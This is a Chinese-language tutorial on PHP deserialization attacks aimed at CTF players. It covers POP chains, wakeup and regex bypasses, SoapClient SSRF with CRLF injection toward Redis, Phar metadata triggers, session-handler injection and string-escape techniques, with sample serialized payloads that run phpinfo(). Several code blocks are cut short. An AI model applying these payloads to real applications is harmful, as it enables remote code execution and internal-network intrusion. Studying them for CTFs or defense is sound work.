PHP 反序列化攻击与 POP 链构造
前言
PHP 反序列化漏洞是 OWASP Top 10 中的经典类型,攻击者通过控制 unserialize() 的输入,构造恶意对象的属性来控制程序流程(Property-Oriented Programming),最终实现代码执行、文件读取、SSRF 等攻击。本文从魔术方法出发,逐步覆盖绕过手法、SoapClient/Phar/Session 反序列化以及字符串逃逸等技术。
一、魔术方法大全
魔术方法是 PHP 反序列化的基石,理解每个方法的触发时机是构造 POP 链的前提。
1.1 对象实例化与销毁
| 方法 | 触发时机 | 利用价值 |
|---|---|---|
__construct() |
对象 new 时自动执行 | 实例化时注入恶意代码 |
__destruct() |
对象销毁时自动执行(脚本结束 / 反序列化后对象被回收) | POP 链最常见的终点,反序列化后必然触发 |
__clone() |
拷贝对象 clone $obj 时 |
少见但特定场景可用 |
1.2 序列化 / 反序列化流程
1 | serialize() 时:__sleep() → 序列化 |
| 方法 | 触发时机 | 利用价值 |
|---|---|---|
__sleep() |
serialize() 时最先调用 |
可在序列化前做清理、返回要序列化的属性列表 |
__wakeup() |
unserialize() 时最先调用 |
绕过它就是经典的 wakeup 绕过(CVE-2016-7124) |
__unserialize() |
反序列化过程中调用(PHP 7.4+) | 替代 wakeup 的角色 |
__set_state() |
var_export() 导出类时可调用 |
特定题目中出现 |
1.3 对象当作字符串使用 — __toString()
| 方法 | 触发时机 | 利用价值 |
|---|---|---|
__toString() |
对象被当作字符串使用时:echo $obj、strval()、字符串拼接 "prefix" . $obj、preg_match() 参数等 |
POP 链核心跳板,链到其他魔术方法 |
注意:
printf()/sprintf()不会触发__toString(),但echo会。
函数触发 __toString() 的方式:
1 | echo new $v1($v2()); // v1=Exception, v2=system('ls') |
1.4 对象当作函数使用 — __invoke()
对象被当作函数调用时触发($obj() 或 call_user_func($obj))。
1.5 访问不存在的方法 / 属性
| 方法 | 触发时机 | 参数 |
|---|---|---|
__call($name, $args) |
调用不存在的方法时 | $name = 方法名, $args = 参数数组 |
__callStatic($name, $args) |
调用不存在的静态方法时 | 同上(PHP 5.3+) |
__get($name) |
读取不存在的 / 不可访问的属性时 | $name = 属性名 |
__set($name, $value) |
向不存在的属性赋值时 | $name = 属性名, $value = 值 |
__isset($name) |
对不可访问属性使用 isset() / empty() 时 |
$name = 属性名 |
__unset($name) |
对不可访问属性使用 unset() 时 |
$name = 属性名 |
SoapClient 的关键:
__call()是触发 SoapClient 发起 HTTP 请求的关键——调用 SoapClient 对象上不存在的方法即触发->__call()→ 发起 SOAP 请求到location。
1.6 调试 / 导出
| 方法 | 触发时机 |
|---|---|
__debugInfo() |
var_dump() 对象时,控制输出内容 |
1.7 属性可见性(序列化时的命名规则)
1 | class Test { |
%00是空字节(null byte),在 URL 传输或手动构造 payload 时需要注意。
二、绕过手法
2.1 + 号绕过正则(O/C 数字检测)
1 | // 过滤: /[oc]:\d+:/i — 检测 o:32 或 c:32 这类格式 |
CTF 典型场景:
1 | if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ |
2.2 大小写绕过
1 | // 过滤 O: 或 o: |
2.3 wakeup 绕过(CVE-2016-7124)
当序列化字符串中表示对象属性个数大于实际属性个数时,__wakeup() 不会被调用:
1 | // 原始: O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";} |
适用版本:
- PHP 5 < 5.6.25
- PHP 7 < 7.0.10
2.4 引用赋值绕过相等判断
1 | class User { |
序列化结果中用 R:2; 或 r:2; 表示引用。
2.5 序列化属性类型混淆
1 | // 原始: O:4:"Test":1:{s:3:"key";s:5:"value";} — key 是字符串 |
2.6 对象类型替换(POP 链跳转)
1 | // 原始反序列化期望类 A,传入类 B(两个类存在不同的魔术方法) |
三、SoapClient 反序列化(SSRF + CRLF)
这是 PHP 反序列化中最实用的攻击面之一——即使目标代码中没有可利用的类,但只要有 unserialize() 且后续调用了不存在的方法,SoapClient 就能发起内网请求。
3.1 原理
SoapClient 是 PHP 内置类,用于 SOAP 协议通信。构造函数接受两个参数:
1 | new SoapClient(null, [ |
调用对象上任意不存在的方法 → 触发 __call() → 发起 HTTP POST 请求到 location。
默认发出的请求格式:
1 | POST /flag.php HTTP/1.1 |
3.2 CRLF 注入 — 控制 HTTP 请求
通过在 user_agent 参数中注入 \r\n,可以逃逸出 User-Agent 头,写入任意 HTTP 头甚至请求体:
1 |
|
实际发出去的 HTTP 请求变成:
1 | POST /flag.php HTTP/1.1 |
注意: URI 中如果要 CRLF,需要闭合
SOAPAction的引号。
3.3 通用 exp — 构造任意 POST 请求
1 |
|
技巧: 用
^^占位符替代\r\n,序列化完成后再替换——避免序列化过程中\r\n被编码或污染属性计数。
3.4 CRLF 打 Redis
1 |
|
3.5 SoapClient POP 构造要点
- 如果没有可用的魔术方法类,SoapClient 本身就是最好的 gadget
- 触发条件:只要反序列化后调用了一个不存在的方法
- 攻击范围:内网任意 HTTP 服务、Redis、FastCGI、Memcached…
四、Phar 反序列化
Phar 反序列化的特殊之处在于不需要明显的 unserialize() 调用。只要对 Phar 文件使用了受影响的文件系统函数(如 file_exists()、is_dir() 等),PHP 就会自动解析 Phar 的 meta-data 并进行反序列化。
4.1 Phar 文件结构
1 | 1. Stub(幻数头) |
攻击本质:
meta-data以序列化形式存储→ 文件系统函数在解析 Phar 时自动对其反序列化 → 触发魔术方法。
4.2 打包 exp
1 |
|
4.3 受影响文件系统函数
只要函数支持 phar:// 协议,解析时就会触发反序列化:
1 | file_exists() is_dir() is_file() |
关键: 这些函数中没有显式的
unserialize()调用,但在传入phar://路径时,反序列化自动发生——最隐蔽的攻击面。
4.4 打包压缩 + 重命名绕过
1 |
|
4.5 绕过方法
(1)绕过文件头检测
在 stub 中加上假的文件头 Magic Bytes:
1 | $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); |
(2)绕过 phar:// 协议检测
1 | compress.bzip://phar:///test.phar/test.txt |
用其他协议包一层,绕过对 phar:// 头部的 WAF 检测。
(3)绕过 __HALT_COMPILER 检测 — Zip 注释法
将 phar 文件再压缩成 zip,利用 ZipArchive 的注释功能存储序列化数据:
1 | $phar_file = serialize($exp); // 恶意对象序列化字符串 |
五、Session 反序列化
5.1 原理
PHP 的 session 数据以序列化格式存储在文件中(默认 /tmp/sess_{PHPSESSID})。不同处理器(handler)使用不同的序列化格式,当两种处理器混用时,可能造成反序列化注入。
5.2 三种 Session 序列化处理器
| 处理器 | 存储格式 | 示例 |
|---|---|---|
php |
竖线分隔 | name|s:4:"qwer"; |
php_binary |
二进制长度前缀 | \x05namea:4:"qwer" |
php_serialize |
标准序列化格式 | a:1:{s:4:"name";s:4:"qwer";} |
1 | // php 处理器 |
5.3 攻击场景:两种处理器混用
场景: A 页面用 php_serialize 写 session,B 页面用 php 读 session。
1 | // ==== 页面 A(写入 session — php_serialize 处理器)==== |
攻击: 在页面 A 传入:
1 | test=|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";} |
写入文件后:
1 | a:1:{s:4:"test";s:48:"|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}";} |
页面 B 用 php 处理器读取时,| 之前的部分被当作键名,之后的部分被直接反序列化 → 触发 Test 类的 __wakeup() → eval('phpinfo();')。
5.4 进阶:无可见 unserialize 的 session 利用
1 |
|
通过 call_user_func($_GET['f'], $_POST) 可以先设置 session 处理器为 php_serialize,再用 session 写入恶意序列化数据,最终 call_user_func($b, $a) 触发反序列化类。
六、字符串逃逸与吞吃
序列化后的字符串结构是定长标注的——s:4:"name" 中的 4 表示后面的字符串长度。如果能控制某一项的过滤前长度和过滤后长度不一致,就可以打破序列化结构,注入任意对象。
6.1 基础序列化结构
1 | a:3:{ |
6.2 逃逸(变长)—— 过滤后变长
场景: 某些字符被替换为更长的字符串。例如 X → YY(1→2字节)。
利用过滤产生的”多出来的字节”吃掉原本序列化结构中的闭合部分,注入新的属性:
1 | 原始输入: |
具体操作:
- 先算出过滤会让 sign 的值多出多少字节
- 在 sign 中填入恰好长度的内容 + 注入 payload
- 多出的字节恰好覆盖掉
";s:6:"number";s:4:"2024";} - 剩下的内容
";s:6:"number";s:4:"9999";}成为新的合法序列化片段
本质: 过滤 → 变长 → 多出来的字符”溢出”到后面的序列化结构中 → 把后面的结构当成我们传入的数据解析。
6.3 吞吃(变短)—— 过滤后变短
场景: 某些字符被过滤删除。例如 \ 被直接删除(\\ → \\ 中的 \ 被删,但 PHP 看到的 \\ 也会变 \ 导致计数混乱)。
或更典型:' 被过滤为空。原名 O'Brien 长度 7,过滤后 OBrien 长度 6。
利用”少了”的字节吞掉前面的属性,让后面的属性被提前解析:
1 | 假设 name 会被过滤掉某些字符使其变短 |
具体操作:
- name 传入足够长度(等于被吞掉的字符数)的内容 + 注入 payload
- name 被过滤后变短,恰好等于前面填充的长度
";s:4:"sign";s:3:"aaa"被吞入 name 的值- sign 实际变为我们指定的值
技巧: 计算”要吞多少字节” = 原始 name 值长度 - 填充字符数。在 payload 末尾将 sign 覆盖,闭合剩余的
";s:...即可。
6.4 逃逸 vs 吞吃对比
| 逃逸(变长) | 吞吃(变短) | |
|---|---|---|
| 原因 | 过滤扩充了某些字符 | 过滤删除了某些字符 |
| 攻击方式 | 多出的字节”溢出”到后面,覆盖后面属性的值 | 少了的字节”吞入”后面的结构,使后面的属性被提前 |
| 可控字段 | 是过滤字段本身 | 多个字段配合(一个用来填充吞吃,一个用来实际注入) |
七、综合 POP 链构造思路
7.1 起点 → 跳板 → 终点
1 | 起点方法(自动触发) → 跳板方法(传递控制流) → 终点方法(执行恶意操作) |
7.2 典型链示例
1 | # 写文件链 |
7.3 POP 链构造 checklist
- 找出所有自定义类的魔术方法
- 画出类之间的调用关系图(哪个类的
__toString调用了其他对象的方法/属性) - 确认起点:哪个魔术方法在反序列化过程中会被自动触发
- 确认数据流:用户可控的数据最终流到了哪里(
eval/system/file_put_contents等危险函数) - 检查PHP 原生类:当自定义类不够 → 用
SoapClient/SplFileObject/Error/DirectoryIterator等原生类补链
总结速查
| 攻击类型 | 核心原理 | 关键点 |
|---|---|---|
| 反序列化 POP 链 | 控制对象属性 → 触发魔术方法 → 执行危险操作 | 起点→跳板→终点 |
| wakeup 绕过 | 属性个数 > 实际个数 | O:4:”Test”:2:{…} 改大数字 |
| 正则绕过 | + 号 / 大小写 / 十六进制 |
o:+32: 或 O:+4: |
| SoapClient SSRF | __call → 发起 HTTP → CRLF 控制请求 |
user_agent 参数注入 \r\n |
| Phar 反序列化 | 文件函数解析 Phar → meta-data 自动反序列化 | 不需要显式 unserialize() 调用 |
| Session 反序列化 | 不同 handler 格式差异 → 竖线 | 后注入 |
php_serialize 写 + php 读 |
| 字符串逃逸 | 过滤变长 → 溢出覆盖后面结构 | 计算多出字节数,payload 填在注入字段 |
| 字符串吞吃 | 过滤变短 → 吞入后面结构替代 | 计算缺少字节数,填充字段 + 注入字段配合 |